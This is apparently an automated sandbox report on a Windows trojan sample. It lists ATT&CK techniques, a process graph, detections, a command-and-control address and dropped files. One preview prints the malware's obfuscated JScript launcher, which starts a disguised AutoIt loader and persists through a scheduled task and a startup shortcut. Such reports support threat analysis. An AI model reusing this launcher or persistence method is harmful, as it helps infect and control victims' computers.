    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0038696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,18_2_0038696E
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00386E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,18_2_00386E32
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0038696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,20_2_0038696E
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00386E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,20_2_00386E32

    Mitre Att&ck Matrix

    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity Information111
    Scripting    		2
    Valid Accounts    		1
    Windows Management Instrumentation    		111
    Scripting    		1
    Exploitation for Privilege Escalation    		11
    Disable or Modify Tools    		31
    Input Capture    		2
    System Time Discovery    		Remote Services1
    Archive Collected Data    		1
    Ingress Tool Transfer    		Exfiltration Over Other Network Medium1
    System Shutdown/Reboot
    CredentialsDomainsDefault Accounts1
    Native API    		1
    DLL Side-Loading    		1
    DLL Side-Loading    		1
    Deobfuscate/Decode Files or Information    		LSASS Memory1
    Account Discovery    		Remote Desktop Protocol31
    Input Capture    		1
    Encrypted Channel    		Exfiltration Over BluetoothNetwork Denial of Service
    Email AddressesDNS ServerDomain Accounts1
    Command and Scripting Interpreter    		2
    Valid Accounts    		2
    Valid Accounts    		2
    Obfuscated Files or Information    		Security Account Manager3
    File and Directory Discovery    		SMB/Windows Admin Shares3
    Clipboard Data    		1
    Non-Application Layer Protocol    		Automated ExfiltrationData Encrypted for Impact
    Employee NamesVirtual Private ServerLocal Accounts1
    Scheduled Task/Job    		1
    Scheduled Task/Job    		21
    Access Token Manipulation    		1
    DLL Side-Loading    		NTDS27
    System Information Discovery    		Distributed Component Object ModelInput Capture11
    Application Layer Protocol    		Traffic DuplicationData Destruction
    Gather Victim Network InformationServerCloud AccountsLaunchd2
    Registry Run Keys / Startup Folder    		212
    Process Injection    		11
    Masquerading    		LSA Secrets231
    Security Software Discovery    		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
    Scheduled Task/Job    		2
    Valid Accounts    		Cached Domain Credentials41
    Virtualization/Sandbox Evasion    		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items2
    Registry Run Keys / Startup Folder    		41
    Virtualization/Sandbox Evasion    		DCSync4
    Process Discovery    		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
    Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
    Access Token Manipulation    		Proc Filesystem11
    Application Window Discovery    		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
    Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt212
    Process Injection    		/etc/passwd and /etc/shadow1
    System Owner/User Discovery    		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet
    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1502159 Sample: e6db7d34b498982601b2c45ac5b... Startdate: 31/08/2024 Architecture: WINDOWS Score: 100 65 CvcMEMMQKdoWtsiZdkN.CvcMEMMQKdoWtsiZdkN 2->65 71 Found malware configuration 2->71 73 Multi AV Scanner detection for dropped file 2->73 75 Multi AV Scanner detection for submitted file 2->75 77 8 other signatures 2->77 10 e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe 22 2->10         started        12 wscript.exe 1 2->12         started        15 wscript.exe 2->15         started        signatures3 process4 signatures5 17 cmd.exe 2 10->17         started        89 Windows Scripting host queries suspicious COM object (likely to drop second stage) 12->89 21 TurtleHarbor.pif 12->21         started        23 TurtleHarbor.pif 15->23         started        process6 file7 55 C:\Users\user\AppData\Local\...\Intake.pif, PE32 17->55 dropped 67 Drops PE files with a suspicious file extension 17->67 69 Uses schtasks.exe or at.exe to add and modify task schedules 17->69 25 Intake.pif 5 17->25         started        29 cmd.exe 2 17->29         started        31 conhost.exe 17->31         started        33 7 other processes 17->33 signatures8 process9 file10 59 C:\Users\user\AppData\...\TurtleHarbor.pif, PE32 25->59 dropped 61 C:\Users\user\AppData\...\TurtleHarbor.js, ASCII 25->61 dropped 63 C:\Users\user\AppData\Local\...\RegAsm.exe, PE32 25->63 dropped 81 Multi AV Scanner detection for dropped file 25->81 83 Drops PE files with a suspicious file extension 25->83 85 Writes to foreign memory regions 25->85 87 Injects a PE file into a foreign processes 25->87 35 RegAsm.exe 4 25->35         started        38 cmd.exe 2 25->38         started        41 cmd.exe 1 25->41         started        43 3 other processes 25->43 signatures11 process12 file13 79 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 35->79 45 conhost.exe 35->45         started        57 C:\Users\user\AppData\...\TurtleHarbor.url, MS 38->57 dropped 47 conhost.exe 38->47         started        49 conhost.exe 41->49         started        51 schtasks.exe 1 41->51         started        53 conhost.exe 43->53         started        signatures14 process15

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe39%ReversingLabsWin32.Trojan.Amadey
    e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe35%VirustotalBrowse

    Dropped Files

    SourceDetectionScannerLabelLink
    C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif5%ReversingLabs
    C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif9%VirustotalBrowse
    C:\Users\user\AppData\Local\Temp\684126\Intake.pif5%ReversingLabs
    C:\Users\user\AppData\Local\Temp\684126\Intake.pif9%VirustotalBrowse
    C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe0%VirustotalBrowse

    Unpacked PE Files

    ⊘No Antivirus matches

    Domains

    ⊘No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    http://www.fontbureau.com0%URL Reputationsafe
    http://www.fontbureau.com/designersG0%URL Reputationsafe
    https://api.ip.sb/ip0%URL Reputationsafe
    http://www.fontbureau.com/designers/?0%URL Reputationsafe
    http://www.founder.com.cn/cn/bThe0%URL Reputationsafe
    http://www.fontbureau.com/designers?0%URL Reputationsafe
    http://www.tiro.com0%URL Reputationsafe
    https://api.ip.s0%URL Reputationsafe
    http://www.fontbureau.com/designers0%URL Reputationsafe
    http://nsis.sf.net/NSIS_ErrorError0%URL Reputationsafe
    http://www.goodfont.co.kr0%URL Reputationsafe
    http://www.carterandcone.coml0%URL Reputationsafe
    http://www.sajatypeworks.com0%URL Reputationsafe
    http://www.typography.netD0%URL Reputationsafe
    http://www.fontbureau.com/designers/cabarga.htmlN0%URL Reputationsafe
    http://www.founder.com.cn/cn/cThe0%URL Reputationsafe
    http://www.galapagosdesign.com/staff/dennis.htm0%URL Reputationsafe
    http://www.founder.com.cn/cn0%URL Reputationsafe
    http://www.fontbureau.com/designers/frere-user.html0%URL Reputationsafe
    http://www.jiyu-kobo.co.jp/0%URL Reputationsafe
    http://www.autoitscript.com/autoit3/J0%Avira URL Cloudsafe
    http://www.galapagosdesign.com/DPlease0%URL Reputationsafe
    http://www.fontbureau.com/designers80%URL Reputationsafe
    http://www.apache.org/licenses/LICENSE-2.00%Avira URL Cloudsafe
    http://www.fonts.com0%URL Reputationsafe
    http://www.fonts.com0%URL Reputationsafe
    http://www.sandoll.co.kr0%URL Reputationsafe
    http://www.urwpp.deDPlease0%URL Reputationsafe
    http://www.urwpp.deDPlease0%URL Reputationsafe
    http://www.zhongyicts.com.cn0%URL Reputationsafe
    http://www.zhongyicts.com.cn0%URL Reputationsafe
    http://www.sakkal.com0%URL Reputationsafe
    https://www.autoitscript.com/autoit3/0%Avira URL Cloudsafe
    45.200.149.147:276670%Avira URL Cloudsafe
    https://discord.com/api/v9/users/0%Avira URL Cloudsafe
    http://www.apache.org/licenses/LICENSE-2.00%VirustotalBrowse
    45.200.149.147:276671%VirustotalBrowse
    https://www.autoitscript.com/autoit3/0%VirustotalBrowse
    https://discord.com/api/v9/users/0%VirustotalBrowse
    http://www.autoitscript.com/autoit3/J0%VirustotalBrowse

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    CvcMEMMQKdoWtsiZdkN.CvcMEMMQKdoWtsiZdkN
    		unknown
    		unknowntrue
      		unknown

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      45.200.149.147:27667true
      • 1%, Virustotal, Browse
      • Avira URL Cloud: safe
      		unknown

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      http://www.autoitscript.com/autoit3/JIntake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Intake.pif, 0000000A.00000000.1669006674.0000000000E99000.00000002.00000001.01000000.00000005.sdmp, TurtleHarbor.pif, 00000012.00000000.1688045792.00000000003D9000.00000002.00000001.01000000.00000008.sdmp, TurtleHarbor.pif, 00000014.00000000.1798912259.00000000003D9000.00000002.00000001.01000000.00000008.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drfalse
      • 0%, Virustotal, Browse
      • Avira URL Cloud: safe
      		unknown
      http://www.apache.org/licenses/LICENSE-2.0RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • 0%, Virustotal, Browse
      • Avira URL Cloud: safe
      		unknown
      http://www.fontbureau.comRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.fontbureau.com/designersGRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      https://api.ip.sb/ipRegAsm.exe, 0000001F.00000002.3855499519.0000000002869000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.fontbureau.com/designers/?RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.founder.com.cn/cn/bTheRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.fontbureau.com/designers?RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.tiro.comRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      https://api.ip.sRegAsm.exe, 0000001A.00000002.3204845308.0000000003061000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.0000000002869000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.fontbureau.com/designersRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://nsis.sf.net/NSIS_ErrorErrore6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exefalse
      • URL Reputation: safe
      		unknown
      http://www.goodfont.co.krRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      https://www.autoitscript.com/autoit3/Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drfalse
      • 0%, Virustotal, Browse
      • Avira URL Cloud: safe
      		unknown
      http://www.carterandcone.comlRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.sajatypeworks.comRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.typography.netDRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.fontbureau.com/designers/cabarga.htmlNRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.founder.com.cn/cn/cTheRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.galapagosdesign.com/staff/dennis.htmRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.founder.com.cn/cnRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.fontbureau.com/designers/frere-user.htmlRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.jiyu-kobo.co.jp/RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      https://discord.com/api/v9/users/RegAsm.exe, 0000001F.00000002.3855499519.0000000002941000.00000004.00000800.00020000.00000000.sdmpfalse
      • 0%, Virustotal, Browse
      • Avira URL Cloud: safe
      		unknown
      http://www.galapagosdesign.com/DPleaseRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.fontbureau.com/designers8RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.fonts.comRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      • URL Reputation: safe
      		unknown
      http://www.sandoll.co.krRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://www.urwpp.deDPleaseRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      • URL Reputation: safe
      		unknown
      http://www.zhongyicts.com.cnRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      • URL Reputation: safe
      		unknown
      http://www.sakkal.comRegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown

      World Map of Contacted IPs

      ⊘No contacted IP infos

      General Information

      Joe Sandbox version:40.0.0 Tourmaline
      Analysis ID:1502159
      Start date and time:2024-08-31 10:01:04 +02:00
      Joe Sandbox product:CloudBasic
      Overall analysis duration:0h 10m 25s
      Hypervisor based Inspection enabled:false
      Report type:full
      Cookbook file name:default.jbs
      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
      Number of analysed new started processes analysed:33
      Number of new started drivers analysed:0
      Number of existing processes analysed:0
      Number of existing drivers analysed:0
      Number of injected processes analysed:0
      Technologies:
      • HCA enabled
      • EGA enabled
      • AMSI enabled
      Analysis Mode:default
      Analysis stop reason:Timeout
      Sample name:e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
      Detection:MAL
      Classification:mal100.troj.expl.evad.winEXE@46/23@1/0
      EGA Information:
      • Successful, ratio: 100%
      HCA Information:
      • Successful, ratio: 99%
      • Number of executed functions: 79
      • Number of non-executed functions: 322
      Cookbook Comments:
      • Found application associated with file extension: .exe
      • Override analysis time to 240000 for current running targets taking high CPU consumption

      Warnings

      • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
      • Excluded IPs from analysis (whitelisted): 184.28.90.27
      • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
      • Not all processes where analyzed, report is missing behavior information
      • Report creation exceeded maximum time and may have missing disassembly code information.
      • Report size exceeded maximum capacity and may have missing behavior information.
      • Report size exceeded maximum capacity and may have missing disassembly code.
      • Report size getting too big, too many NtOpenKeyEx calls found.
      • Report size getting too big, too many NtQueryValueKey calls found.

      Simulations

      Behavior and APIs

      TimeTypeDescription
      04:01:53API Interceptor1x Sleep call for process: e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe modified
      04:01:56API Interceptor5340x Sleep call for process: Intake.pif modified
      09:01:56Task SchedulerRun new task: Additionally path: wscript s>//B "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js"
      09:01:59AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.url

      Joe Sandbox View / Context

      IPs

      ⊘No context

      Domains

      ⊘No context

      ASNs

      ⊘No context

      JA3 Fingerprints

      ⊘No context

      Dropped Files

      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
      C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.piffile.exeGet hashmaliciousUnknownBrowse
        file.exeGet hashmaliciousUnknownBrowse
          file.exeGet hashmaliciousVidarBrowse
            file.exeGet hashmaliciousVidarBrowse
              file.exeGet hashmaliciousRedLineBrowse
                6I8BO0tIYE.exeGet hashmaliciousSmokeLoaderBrowse
                  capcut Setup-x64.msiGet hashmaliciousRedLineBrowse
                    file.exeGet hashmaliciousVidarBrowse
                      aIye4PP6zx.exeGet hashmaliciousUnknownBrowse
                        C:\Users\user\AppData\Local\Temp\684126\Intake.piffile.exeGet hashmaliciousUnknownBrowse
                          file.exeGet hashmaliciousUnknownBrowse
                            file.exeGet hashmaliciousVidarBrowse
                              file.exeGet hashmaliciousVidarBrowse
                                file.exeGet hashmaliciousRedLineBrowse
                                  6I8BO0tIYE.exeGet hashmaliciousSmokeLoaderBrowse
                                    capcut Setup-x64.msiGet hashmaliciousRedLineBrowse
                                      file.exeGet hashmaliciousVidarBrowse
                                        aIye4PP6zx.exeGet hashmaliciousUnknownBrowse

                                          Created / dropped Files

                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

                                          Download File
                                          Process:C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe
                                          File Type:ASCII text, with CRLF line terminators
                                          Category:dropped
                                          Size (bytes):1119
                                          Entropy (8bit):5.345080863654519
                                          Encrypted:false
                                          SSDEEP:24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
                                          MD5:88593431AEF401417595E7A00FE86E5F
                                          SHA1:1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
                                          SHA-256:ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
                                          SHA-512:1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
                                          Malicious:false
                                          Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

                                          C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js

                                          Download File
                                          Process:C:\Users\user\AppData\Local\Temp\684126\Intake.pif
                                          File Type:ASCII text, with no line terminators
                                          Category:dropped
                                          Size (bytes):192
                                          Entropy (8bit):4.718347524161944
                                          Encrypted:false
                                          SSDEEP:3:RiMIpGXJO9obdPHo55wWAX+Ro6p4EkD52AG9J01+qROyBc5uWAX+Ro6p4EkD52Am:RiJuOybJHonwWDKaJkDdUJ0IT0cwWDKW
                                          MD5:647CC3E3DED0BA6F0AFAFD5FA290C48C
                                          SHA1:26638AA43EA062E41DD7807EC83C7C78B7FE1CC9
                                          SHA-256:9805C1387908C583E06D2518451EF1ABC3F803DC6096C2239B9C406B13C82D4C
                                          SHA-512:59B1D6902BA337BD51CD37C4EF03ECDD08778D1C2FB1F21E285D0D81EA5AA4F7A8BD30F0F891C858BBD1D348094DC2636969660F5955A5F1310A3714CCEC3E27
                                          Malicious:true
                                          Preview:new ActiveXObject("Wscript.Sh" + "ell").Exec("\"C:\\Users\\user\\AppData\\Local\\SecureData Technologies\\TurtleHarbor.pif\" \"C:\\Users\\user\\AppData\\Local\\SecureData Technologies\\Y\"")

                                          C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif

                                          Download File
                                          Process:C:\Users\user\AppData\Local\Temp\684126\Intake.pif
                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                          Category:dropped
                                          Size (bytes):893608
                                          Entropy (8bit):6.62028134425878
                                          Encrypted:false
                                          SSDEEP:12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
                                          MD5:18CE19B57F43CE0A5AF149C96AECC685
                                          SHA1:1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
                                          SHA-256:D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
                                          SHA-512:A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
                                          Malicious:true
                                          Antivirus:
                                          • Antivirus: ReversingLabs, Detection: 5%
                                          • Antivirus: Virustotal, Detection: 9%, Browse
                                          Joe Sandbox View:
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: 6I8BO0tIYE.exe, Detection: malicious, Browse
                                          • Filename: capcut Setup-x64.msi, Detection: malicious, Browse
                                          • Filename: file.exe, Detection: malicious, Browse
                                          • Filename: aIye4PP6zx.exe, Detection: malicious, Browse
                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

                                          C:\Users\user\AppData\Local\SecureData Technologies\Y

                                          Download File
                                          Process:C:\Users\user\AppData\Local\Temp\684126\Intake.pif
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):782525
                                          Entropy (8bit):7.999758284980152
                                          Encrypted:true
                                          SSDEEP:12288:osRhGHFIBMcJ14VnEOf/oxc2JrYwkUcYDeCd5857NVpmtC0kdhtw8E9zuechT:osR8FIGcJ149EO3oBJEw2YDeCeLpmtC5
                                          MD5:0687024F2F53AC5521C7906F3FE520AA
                                          SHA1:ED39DD96A9817591B49F918E2681746880FAB7F3
                                          SHA-256:112BD1117039E48F288BAF93AF0F32425E8C713D286C035C9E17E8FB1C109DC1
                                          SHA-512:617E34EA0D74DE0DDDA1EAE4A164B512B5E9F0495A3FB37A179D54D660CE3E9E300F0B7963ABBBE8D4EEF597253C7F98ACEA5BAE0A08C0C6D3ABB0F455541FA8
                                          Malicious:false
                                          Preview:.eC%....n.,..pP..".`...B?6.^..2b>..P..t.)9_.........U.q}.Xl...>.'.i.q.G}...f..J.^W.s...M..q8z7..e.*.J..pB.."..V.".;;*.a.QC.:.D.X4...a...1.#...r....[..,.1..D...m...Yj[@lc.V.{[.../..\..#.....3......;.B..H....Z.|k.........."..T.9..si..4.U...c.......(.e.J.M..w[.D5^US..;....br..N....6.|>..H%.Da.<`>..uBo.*..R.)..z}..:Q.4.q..I..5".u.C.H...Q.+...,M.?.A..#@|.).Bly.0.G..5...... .....fy...o..J.J.u.H...2.V.z7["heE..,O......b.....y.d.[G/.g..(d:.O.Y%.....v..kv........v\..7.W.].q).P..|.;.m......uy#..u.Q&*..]......)..)d.{...`c.6..;9-.....l|..`.\y..e|O.._aSi.....<.^ro..*...`R...G_>e.zh6R,...Me$v.......Q......x...>{....9.|$!..px..X..0..Y.ysQ+.G.f'......+..0y:}I.=...P...?..4Q..Q5I.K..;.j~...i.);.........uM..`~U'.3y..|k.......c.9..0.n....r....c.p.5./...l..n..s....j\.M|.spJP.r......'p..6.s .r.}.E..3.....v,.vh....^C.FT.P/.....u.VL.2... cK...0[+.f.'/tq...l.6......+..(bZ.@.....o..M...)v...-h8.0.....I...vX.0mL..@7....N..3.-...ha..[M..d.....f(.F[..r......

                                          C:\Users\user\AppData\Local\Temp\684126\C

                                          Download File
                                          Process:C:\Windows\SysWOW64\cmd.exe
                                          File Type:data
                                          Category:dropped
                                          Size (bytes):782525
                                          Entropy (8bit):7.999758284980152
                                          Encrypted:true
                                          SSDEEP:12288:osRhGHFIBMcJ14VnEOf/oxc2JrYwkUcYDeCd5857NVpmtC0kdhtw8E9zuechT:osR8FIGcJ149EO3oBJEw2YDeCeLpmtC5
                                          MD5:0687024F2F53AC5521C7906F3FE520AA
                                          SHA1:ED39DD96A9817591B49F918E2681746880FAB7F3
                                          SHA-256:112BD1117039E48F288BAF93AF0F32425E8C713D286C035C9E17E8FB1C109DC1
                                          SHA-512:617E34EA0D74DE0DDDA1EAE4A164B512B5E9F0495A3FB37A179D54D660CE3E9E300F0B7963ABBBE8D4EEF597253C7F98ACEA5BAE0A08C0C6D3ABB0F455541FA8
                                          Malicious:false
                                          Preview:.eC%....n.,..pP..".`...B?6.^..2b>..P..t.)9_.........U.q}.Xl...>.'.i.q.G}...f..J.^W.s...M..q8z7..e.*.J..pB.."..V.".;;*.a.QC.:.D.X4...a...1.#...r....[..,.1..D...m...Yj[@lc.V.{[.../..\..#.....3......;.B..H....Z.|k.........."..T.9..si..4.U...c.......(.e.J.M..w[.D5^US..;....br..N....6.|>..H%.Da.<`>..uBo.*..R.)..z}..:Q.4.q..I..5".u.C.H...Q.+...,M.?.A..#@|.).Bly.0.G..5...... .....fy...o..J.J.u.H...2.V.z7["heE..,O......b.....y.d.[G/.g..(d:.O.Y%.....v..kv........v\..7.W.].q).P..|.;.m......uy#..u.Q&*..]......)..)d.{...`c.6..;9-.....l|..`.\y..e|O.._aSi.....<.^ro..*...`R...G_>e.zh6R,...Me$v.......Q......x...>{....9.|$!..px..X..0..Y.ysQ+.G.f'......+..0y:}I.=...P...?..4Q..Q5I.K..;.j~...i.);.........uM..`~U'.3y..|k.......c.9..0.n....r....c.p.5./...l..n..s....j\.M|.spJP.r......'p..6.s .r.}.E..3.....v,.vh....^C.FT.P/.....u.VL.2... cK...0[+.f.'/tq...l.6......+..(bZ.@.....o..M...)v...-h8.0.....I...vX.0mL..@7....N..3.-...ha..[M..d.....f(.F[..r......

                                          C:\Users\user\AppData\Local\Temp\684126\Intake.pif

                                          Download File
                                          Process:C:\Windows\SysWOW64\cmd.exe
